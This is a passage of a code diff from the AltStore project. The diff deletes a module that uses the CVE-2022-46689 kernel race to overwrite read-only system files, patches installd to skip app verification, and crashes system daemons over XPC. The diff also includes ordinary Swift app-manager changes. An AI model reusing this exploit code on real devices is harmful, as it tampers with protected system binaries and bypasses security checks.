-    uint64_t offset_data_const_end_padding;
-    // MIUninstallRecord::supportsSecureCoding
-    uint64_t offset_return_true;
-};
-
-struct installd_remove_app_limit_offsets gAppLimitOffsets = {
-    .offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
-    .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
-    .offset_data_const_end_padding = 0x79c38,
-    .offset_return_true = 0x19860,
-};
-
-static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
-                                                      size_t executable_length,
-                                                      const char* needle) {
-    void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
-    if (!str_offset) {
-        return 0;
-    }
-    uint64_t str_file_offset = str_offset - executable_map;
-    for (int i = 0; i < executable_length - 8; i += 8) {
-        uint64_t val = *(uint64_t*)(executable_map + i);
-        if ((val & 0xfffffffful) != str_file_offset) {
-            continue;
-        }
-        // baseMethods
-        if (*(uint64_t*)(executable_map + i + 8) != 0) {
-            return i + 8;
-        }
-    }
-    return 0;
-}
-
-static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
-    // mov w0, #1
-    // ret
-    static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
-    void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
-    if (!offset) {
-        return 0;
-    }
-    return offset - executable_map;
-}
-
-static bool patchfind_installd(void* executable_map, size_t executable_length,
-                               struct installd_remove_app_limit_offsets* offsets) {
-    struct segment_command_64* data_const_segment = nil;
-    struct symtab_command* symtab_command = nil;
-    struct dysymtab_command* dysymtab_command = nil;
-    if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
-                            &dysymtab_command)) {
-        printf("no sections\n");
-        return false;
-    }
-    if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
-        printf("no padding\n");
-        return false;
-    }
-    if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
-         patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
-                                               "MIInstallableBundle")) == 0) {
-        printf("no MIInstallableBundle class_rw_t\n");
-        return false;
-    }
-    offsets->offset_objc_method_list_t_MIInstallableBundle =
-    (*(uint64_t*)(executable_map +
-                  offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
-    0xffffffull;
-    
-    if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
-        0) {
-        printf("no return true\n");
-        return false;
-    }
-    return true;
-}
-
-struct objc_method {
-    int32_t name;
-    int32_t types;
-    int32_t imp;
-};
-
-struct objc_method_list {
-    uint32_t entsizeAndFlags;
-    uint32_t count;
-    struct objc_method methods[];
-};
-
-static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
-                                        uint64_t new_offset, uint64_t* out_copied_length,
-                                        void (^callback)(const char* sel,
-                                                         uint64_t* inout_function_pointer)) {
-    struct objc_method_list* original_list = mutableBytes + old_offset;
-    struct objc_method_list* new_list = mutableBytes + new_offset;
-    *out_copied_length =
-    sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
-    new_list->entsizeAndFlags = original_list->entsizeAndFlags;
-    new_list->count = original_list->count;
-    for (int method_index = 0; method_index < original_list->count; method_index++) {
-        struct objc_method* method = &original_list->methods[method_index];
-        // Relative pointers
-        uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
-        uint64_t types_file_offset =
-        ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
-        uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
-        const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
-        callback(sel, &imp_file_offset);
-        
-        struct objc_method* new_method = &new_list->methods[method_index];
-        new_method->name = (int32_t)((int64_t)name_file_offset -
-                                     (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
-        new_method->types = (int32_t)((int64_t)types_file_offset -
-                                      (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
-        new_method->imp = (int32_t)((int64_t)imp_file_offset -
-                                    (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
-    }
-};
-
-static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
-    struct installd_remove_app_limit_offsets offsets = {};
-    if (!patchfind_installd(executableMap, executableLength, &offsets)) {
-        return nil;
-    }
-    
-    NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
-    char* mutableBytes = data.mutableBytes;
-    uint64_t current_empty_space = offsets.offset_data_const_end_padding;
-    uint64_t copied_size = 0;
-    uint64_t new_method_list_offset = current_empty_space;
-    patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
-                                current_empty_space, &copied_size,
-                                ^(const char* sel, uint64_t* inout_address) {
-        if (strcmp(sel, "performVerificationWithError:") != 0) {
-            return;
-        }
-        *inout_address = offsets.offset_return_true;
-    });
-    current_empty_space += copied_size;
-    ((struct
-      dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
-                                            offsets
-                                            .offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
-    ->target = new_method_list_offset;
-    return data;
-}
-
-bool patch_installd() {
-    const char* targetPath = "/usr/libexec/installd";
-    int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
-    off_t targetLength = lseek(fd, 0, SEEK_END);
-    lseek(fd, 0, SEEK_SET);
-    void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
-    
-    NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
-    NSData* sourceData = make_patch_installd(targetMap, targetLength);
-    if (!sourceData) {
-        NSLog(@"can't patchfind");
-        return false;
-    }
-    
-    if (!overwrite_file(fd, sourceData)) {
-        overwrite_file(fd, originalData);
-        munmap(targetMap, targetLength);
-        NSLog(@"can't overwrite");
-        return false;
-    }
-    munmap(targetMap, targetLength);
-    xpc_crasher("com.apple.mobile.installd");
-    sleep(1);
-    
-    // TODO(zhuowei): for now we revert it once installd starts
-    // so the change will only last until when this installd exits
-    overwrite_file(fd, originalData);
-    return true;
-}
-#endif /* MDC */

AltStore/MDC/helpers.h

@@ -1,14 +0,0 @@
-#ifdef MDC
-#ifndef helpers_h
-#define helpers_h
-
-char* get_temp_file_path(void);
-void test_nsexpressions(void);
-char* set_up_tmp_file(void);
-
-void xpc_crasher(char* service_name);
-
-#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
-
-#endif /* helpers_h */
-#endif /* MDC */

AltStore/MDC/helpers.m

@@ -1,132 +0,0 @@
-#ifdef MDC
-#import <Foundation/Foundation.h>
-#include <string.h>
-#include <mach/mach.h>
-#include <dirent.h>
-
-char* get_temp_file_path(void) {
-    return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
-}
-
-// create a read-only test file we can target:
-char* set_up_tmp_file(void) {
-    char* path = get_temp_file_path();
-    printf("path: %s\n", path);
-    
-    FILE* f = fopen(path, "w");
-    if (!f) {
-        printf("opening the tmp file failed...\n");
-        return NULL;
-    }
-    char* buf = malloc(PAGE_SIZE*10);
-    memset(buf, 'A', PAGE_SIZE*10);
-    fwrite(buf, PAGE_SIZE*10, 1, f);
-    //fclose(f);
-    return path;
-}
-
-kern_return_t
-bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
-
-struct xpc_w00t {
-    mach_msg_header_t hdr;
-    mach_msg_body_t body;
-    mach_msg_port_descriptor_t client_port;
-    mach_msg_port_descriptor_t reply_port;
-};
-
-mach_port_t get_send_once(mach_port_t recv) {
-    mach_port_t so = MACH_PORT_NULL;
-    mach_msg_type_name_t type = 0;
-    kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
-    if (err != KERN_SUCCESS) {
-        printf("port right extraction failed: %s\n", mach_error_string(err));
-        return MACH_PORT_NULL;
-    }
-    printf("made so: 0x%x from recv: 0x%x\n", so, recv);
-    return so;
-}
-
-// copy-pasted from an exploit I wrote in 2019...
-// still works...
-
-// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
-
-void xpc_crasher(char* service_name) {
-    mach_port_t client_port = MACH_PORT_NULL;
-    mach_port_t reply_port = MACH_PORT_NULL;
-    
-    mach_port_t service_port = MACH_PORT_NULL;
-    
-    kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
-    if(err != KERN_SUCCESS){
-        printf("unable to look up %s\n", service_name);
-        return;
-    }
-    
-    if (service_port == MACH_PORT_NULL) {
-        printf("bad service port\n");
-        return;
-    }
-    
-    // allocate the client and reply port:
-    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
-    if (err != KERN_SUCCESS) {
-        printf("port allocation failed: %s\n", mach_error_string(err));
-        return;
-    }
-    
-    mach_port_t so0 = get_send_once(client_port);
-    mach_port_t so1 = get_send_once(client_port);
-    
-    // insert a send so we maintain the ability to send to this port
-    err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
-    if (err != KERN_SUCCESS) {
-        printf("port right insertion failed: %s\n", mach_error_string(err));
-        return;
-    }
-    
-    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
-    if (err != KERN_SUCCESS) {
-        printf("port allocation failed: %s\n", mach_error_string(err));
-        return;
-    }
-    
-    struct xpc_w00t msg;
-    memset(&msg.hdr, 0, sizeof(msg));
-    msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
-    msg.hdr.msgh_size = sizeof(msg);
-    msg.hdr.msgh_remote_port = service_port;
-    msg.hdr.msgh_id   = 'w00t';
-    
-    msg.body.msgh_descriptor_count = 2;
-    
-    msg.client_port.name        = client_port;
-    msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
-    msg.client_port.type        = MACH_MSG_PORT_DESCRIPTOR;
-    
-    msg.reply_port.name        = reply_port;
-    msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
-    msg.reply_port.type        = MACH_MSG_PORT_DESCRIPTOR;
-    
-    err = mach_msg(&msg.hdr,
-                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
-                   msg.hdr.msgh_size,
-                   0,
-                   MACH_PORT_NULL,
-                   MACH_MSG_TIMEOUT_NONE,
-                   MACH_PORT_NULL);
-    
-    if (err != KERN_SUCCESS) {
-        printf("w00t message send failed: %s\n", mach_error_string(err));
-        return;
-    } else {
-        printf("sent xpc w00t message\n");
-    }
-    
-    mach_port_deallocate(mach_task_self(), so0);
-    mach_port_deallocate(mach_task_self(), so1);
-    
-    return;
-}
-#endif /* MDC */

AltStore/MDC/vm_unaligned_copy_switch_race.c

@@ -1,364 +0,0 @@
-#ifdef MDC
-// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
-// modified to compile outside of XNU
-
-#include <pthread.h>
-#include <dispatch/dispatch.h>
-#include <stdio.h>
-
-#include <mach/mach_init.h>
-#include <mach/mach_port.h>
-#include <mach/vm_map.h>
-
-#include <fcntl.h>
-#include <sys/mman.h>
-
-#include "vm_unaligned_copy_switch_race.h"
-
-#define T_QUIET
-#define T_EXPECT_MACH_SUCCESS(a, b)
-#define T_EXPECT_MACH_ERROR(a, b, c)
-#define T_ASSERT_MACH_SUCCESS(a, b, ...)
-#define T_ASSERT_MACH_ERROR(a, b, c)
-#define T_ASSERT_POSIX_SUCCESS(a, b)
-#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
-#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
-#define T_ASSERT_TRUE(a, b, ...)
-#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
-#define T_DECL(a, b) static void a(void)
-#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
-
-struct context1 {
-    vm_size_t obj_size;
-    vm_address_t e0;
-    mach_port_t mem_entry_ro;
-    mach_port_t mem_entry_rw;
-    dispatch_semaphore_t running_sem;
-    pthread_mutex_t mtx;
-    volatile bool done;
-};
-
-static void *
-switcheroo_thread(__unused void *arg)
-{
-    kern_return_t kr;
-    struct context1 *ctx;
-    
-    ctx = (struct context1 *)arg;
-    /* tell main thread we're ready to run */
-    dispatch_semaphore_signal(ctx->running_sem);
-    while (!ctx->done) {
-        /* wait for main thread to be done setting things up */
-        pthread_mutex_lock(&ctx->mtx);
-        if (ctx->done) {
-            pthread_mutex_unlock(&ctx->mtx);
-            break;
-        }
-        /* switch e0 to RW mapping */
-        kr = vm_map(mach_task_self(),
-                    &ctx->e0,
-                    ctx->obj_size,
-                    0,         /* mask */
-                    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
-                    ctx->mem_entry_rw,
-                    0,
-                    FALSE,         /* copy */
-                    VM_PROT_READ | VM_PROT_WRITE,
-                    VM_PROT_READ | VM_PROT_WRITE,
-                    VM_INHERIT_DEFAULT);
-        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
-        /* wait a little bit */
-        usleep(100);
-        /* switch bakc to original RO mapping */
-        kr = vm_map(mach_task_self(),
-                    &ctx->e0,
-                    ctx->obj_size,
-                    0,         /* mask */
-                    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
-                    ctx->mem_entry_ro,
-                    0,
-                    FALSE,         /* copy */
-                    VM_PROT_READ,
-                    VM_PROT_READ,
-                    VM_INHERIT_DEFAULT);
-        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
-        /* tell main thread we're don switching mappings */
-        pthread_mutex_unlock(&ctx->mtx);
-        usleep(100);
-    }
-    return NULL;
-}
-
-bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
-    bool retval = false;
-    pthread_t th = NULL;
-    int ret;
-    kern_return_t kr;
-    time_t start, duration;
-#if 0
-    mach_msg_type_number_t cow_read_size;
-#endif
-    vm_size_t copied_size;
-    int loops;
-    vm_address_t e2, e5;
-    struct context1 context1, *ctx;
-    int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
-    vm_address_t ro_addr, tmp_addr;
-    memory_object_size_t mo_size;
-    
-    ctx = &context1;
-    ctx->obj_size = 256 * 1024;
-    
-    void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
-    if (file_mapped == MAP_FAILED) {
-        fprintf(stderr, "failed to map\n");
-        return false;
-    }
-    if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
-        fprintf(stderr, "already the same?\n");
-        munmap(file_mapped, ctx->obj_size);
-        return true;
-    }
-    ro_addr = (vm_address_t)file_mapped;
-    
-    ctx->e0 = 0;
-    ctx->running_sem = dispatch_semaphore_create(0);
-    T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
-    ret = pthread_mutex_init(&ctx->mtx, NULL);
-    T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
-    ctx->done = false;
-    ctx->mem_entry_rw = MACH_PORT_NULL;
-    ctx->mem_entry_ro = MACH_PORT_NULL;
-#if 0
-    /* allocate our attack target memory */
-    kr = vm_allocate(mach_task_self(),
-                     &ro_addr,
-                     ctx->obj_size,
-                     VM_FLAGS_ANYWHERE);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
-    /* initialize to 'A' */
-    memset((char *)ro_addr, 'A', ctx->obj_size);
-#endif
-    
-    /* make it read-only */
-    kr = vm_protect(mach_task_self(),
-                    ro_addr,
-                    ctx->obj_size,
-                    TRUE,             /* set_maximum */
-                    VM_PROT_READ);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
-    /* make sure we can't get read-write handle on that target memory */
-    mo_size = ctx->obj_size;
-    kr = mach_make_memory_entry_64(mach_task_self(),
-                                   &mo_size,
-                                   ro_addr,
-                                   MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
-                                   &ctx->mem_entry_ro,
-                                   MACH_PORT_NULL);
-    T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
-    /* take read-only handle on that target memory */
-    mo_size = ctx->obj_size;
-    kr = mach_make_memory_entry_64(mach_task_self(),
-                                   &mo_size,
-                                   ro_addr,
-                                   MAP_MEM_VM_SHARE | VM_PROT_READ,
-                                   &ctx->mem_entry_ro,
-                                   MACH_PORT_NULL);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
-    T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
-    /* make sure we can't map target memory as writable */
-    tmp_addr = 0;
-    kr = vm_map(mach_task_self(),
-                &tmp_addr,
-                ctx->obj_size,
-                0,         /* mask */
-                VM_FLAGS_ANYWHERE,
-                ctx->mem_entry_ro,
-                0,
-                FALSE,         /* copy */
-                VM_PROT_READ,
-                VM_PROT_READ | VM_PROT_WRITE,
-                VM_INHERIT_DEFAULT);
-    T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
-    tmp_addr = 0;
-    kr = vm_map(mach_task_self(),
-                &tmp_addr,
-                ctx->obj_size,
-                0,         /* mask */
-                VM_FLAGS_ANYWHERE,
-                ctx->mem_entry_ro,
-                0,
-                FALSE,         /* copy */
-                VM_PROT_READ | VM_PROT_WRITE,
-                VM_PROT_READ | VM_PROT_WRITE,
-                VM_INHERIT_DEFAULT);
-    T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
-    
-    /* allocate a source buffer for the unaligned copy */
-    kr = vm_allocate(mach_task_self(),
-                     &e5,
-                     ctx->obj_size * 2,
-                     VM_FLAGS_ANYWHERE);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
-    /* initialize to 'C' */
-    memset((char *)e5, 'C', ctx->obj_size * 2);
-    
-    char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
-    memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
-    
-    int overwrite_first_diff_offset = -1;
-    char overwrite_first_diff_value = 0;
-    for (int off = 0; off < overwrite_length; off++) {
-        if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
-            overwrite_first_diff_offset = off;
-            overwrite_first_diff_value = ((char*)ro_addr)[off];
-        }
-    }
-    if (overwrite_first_diff_offset == -1) {
-        fprintf(stderr, "no diff?\n");
-        return false;
-    }
-    
-    /*
-     * get a handle on some writable memory that will be temporarily
-     * switched with the read-only mapping of our target memory to try
-     * and trick copy_unaligned to write to our read-only target.
-     */
-    tmp_addr = 0;
-    kr = vm_allocate(mach_task_self(),
-                     &tmp_addr,
-                     ctx->obj_size,
-                     VM_FLAGS_ANYWHERE);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
-    /* initialize to 'D' */
-    memset((char *)tmp_addr, 'D', ctx->obj_size);
-    /* get a memory entry handle for that RW memory */
-    mo_size = ctx->obj_size;
-    kr = mach_make_memory_entry_64(mach_task_self(),
-                                   &mo_size,
-                                   tmp_addr,
-                                   MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
-                                   &ctx->mem_entry_rw,
-                                   MACH_PORT_NULL);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
-    T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
-    kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
-    tmp_addr = 0;
-    
-    pthread_mutex_lock(&ctx->mtx);
-    
-    /* start racing thread */
-    ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
-    T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
-    
-    /* wait for racing thread to be ready to run */
-    dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
-    
-    duration = 10; /* 10 seconds */
-    T_LOG("Testing for %ld seconds...", duration);
-    for (start = time(NULL), loops = 0;
-         time(NULL) < start + duration;
-         loops++) {
-        /* reserve space for our 2 contiguous allocations */
-        e2 = 0;
-        kr = vm_allocate(mach_task_self(),
-                         &e2,
-                         2 * ctx->obj_size,
-                         VM_FLAGS_ANYWHERE);
-        T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
-        
-        /* make 1st allocation in our reserved space */
-        kr = vm_allocate(mach_task_self(),
-                         &e2,
-                         ctx->obj_size,
-                         VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
-        T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
-        /* initialize to 'B' */
-        memset((char *)e2, 'B', ctx->obj_size);
-        
-        /* map our read-only target memory right after */
-        ctx->e0 = e2 + ctx->obj_size;
-        kr = vm_map(mach_task_self(),
-                    &ctx->e0,
-                    ctx->obj_size,
-                    0,         /* mask */
-                    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
-                    ctx->mem_entry_ro,
-                    0,
-                    FALSE,         /* copy */
-                    VM_PROT_READ,
-                    VM_PROT_READ,
-                    VM_INHERIT_DEFAULT);
-        T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
-        
-        /* let the racing thread go */
-        pthread_mutex_unlock(&ctx->mtx);
-        /* wait a little bit */
-        usleep(100);
-        
-        /* trigger copy_unaligned while racing with other thread */
-        kr = vm_read_overwrite(mach_task_self(),
-                               e5,
-                               ctx->obj_size - 1 + overwrite_length,
-                               e2 + 1,
-                               &copied_size);
-        T_QUIET;
-        T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
-                      "vm_read_overwrite kr %d", kr);
-        switch (kr) {
-            case KERN_SUCCESS:
-                /* the target was RW */
-                kern_success++;
-                break;
-            case KERN_PROTECTION_FAILURE:
-                /* the target was RO */
-                kern_protection_failure++;
-                break;
-            default:
-                /* should not happen */
-                kern_other++;
-                break;
-        }
-        /* check that our read-only memory was not modified */
-#if 0
-        T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
-#endif
-        bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
-        
-        /* tell racing thread to stop toggling mappings */
-        pthread_mutex_lock(&ctx->mtx);
-        
-        /* clean up before next loop */
-        vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
-        ctx->e0 = 0;
-        vm_deallocate(mach_task_self(), e2, ctx->obj_size);
-        e2 = 0;
-        if (!is_still_equal) {
-            retval = true;
-            fprintf(stderr, "RO mapping was modified\n");
-            break;
-        }
-    }
-    
-    ctx->done = true;
-    pthread_mutex_unlock(&ctx->mtx);
-    pthread_join(th, NULL);
-    
-    kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
-    kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
-    kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
-    kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
-    T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
-    
-#if 0
-    T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
-          kern_success, kern_protection_failure, kern_other);
-    T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
-#endif
-    return retval;
-}
-#endif /* MDC */

AltStore/MDC/vm_unaligned_copy_switch_race.h

@@ -1,10 +0,0 @@
-#ifdef MDC
-#pragma once
-#include <stdlib.h>
-#include <stdbool.h>
-/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
-/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
-/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
-/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
-bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
-#endif /* MDC */

AltStore/Managing Apps/AppManager.swift

@@ -250,26 +250,26 @@ extension AppManager
                 .filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
                 .sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
             
-            var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
+            var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
             let message: String
             
             if UserDefaults.standard.activeAppLimitIncludesExtensions
             {
                 if app.appExtensions.isEmpty
                 {
-                    message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
+                    message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
                 }
                 else
                 {
-                    title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
+                    title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
                     
                     let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
-                    message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
+                    message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
                 }
             }
             else
             {
-                message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
+                message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
             }
             
             let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
@@ -307,6 +307,16 @@ extension AppManager
             presentingViewController.present(alertController, animated: true, completion: nil)
         }
     }
+    
+    func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
+    {
+        let clearAppCacheOperation = ClearAppCacheOperation()
+        clearAppCacheOperation.resultHandler = { result in
+            completion(result)
+        }
+        
+        self.run([clearAppCacheOperation], context: nil)
+    }
 }
 
 extension AppManager
@@ -754,6 +764,12 @@ extension AppManager
         let progress = self.refreshProgress[app.bundleIdentifier]
         return progress
     }
+    
+    func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
+    {
+        let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
+        return isActivelyManaging
+    }
 }
 
 extension AppManager
@@ -808,12 +824,6 @@ private extension AppManager
         }
     }
     
-    func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
-    {
-        let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
-        return isActivelyManaging
-    }
-    
     @discardableResult
     private func perform(_ operations: [AppOperation], presentingViewController: UIViewController?, group: RefreshGroup) -> RefreshGroup
     {
@@ -948,7 +958,13 @@ private extension AppManager
         }
         else
         {
+            DispatchQueue.main.schedule {
+                UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
+            }
             performAppOperations()
+            DispatchQueue.main.schedule {
+                UIApplication.shared.isIdleTimerDisabled = false
+            }
         }
         
         return group
@@ -1027,6 +1043,32 @@ private extension AppManager
         verifyOperation.addDependency(downloadOperation)
         
         
+        /* Refresh Anisette Data */
+        let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
+        refreshAnisetteDataOperation.resultHandler = { (result) in
+            switch result
+            {
+            case .failure(let error): context.error = error
+            case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
+            }
+        }
+        refreshAnisetteDataOperation.addDependency(verifyOperation)
+
+
+        /* Fetch Provisioning Profiles */
+        let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
+        fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
+        fetchProvisioningProfilesOperation.resultHandler = { (result) in
+            switch result
+            {
+            case .failure(let error): context.error = error
+            case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
+            }
+        }
+        fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
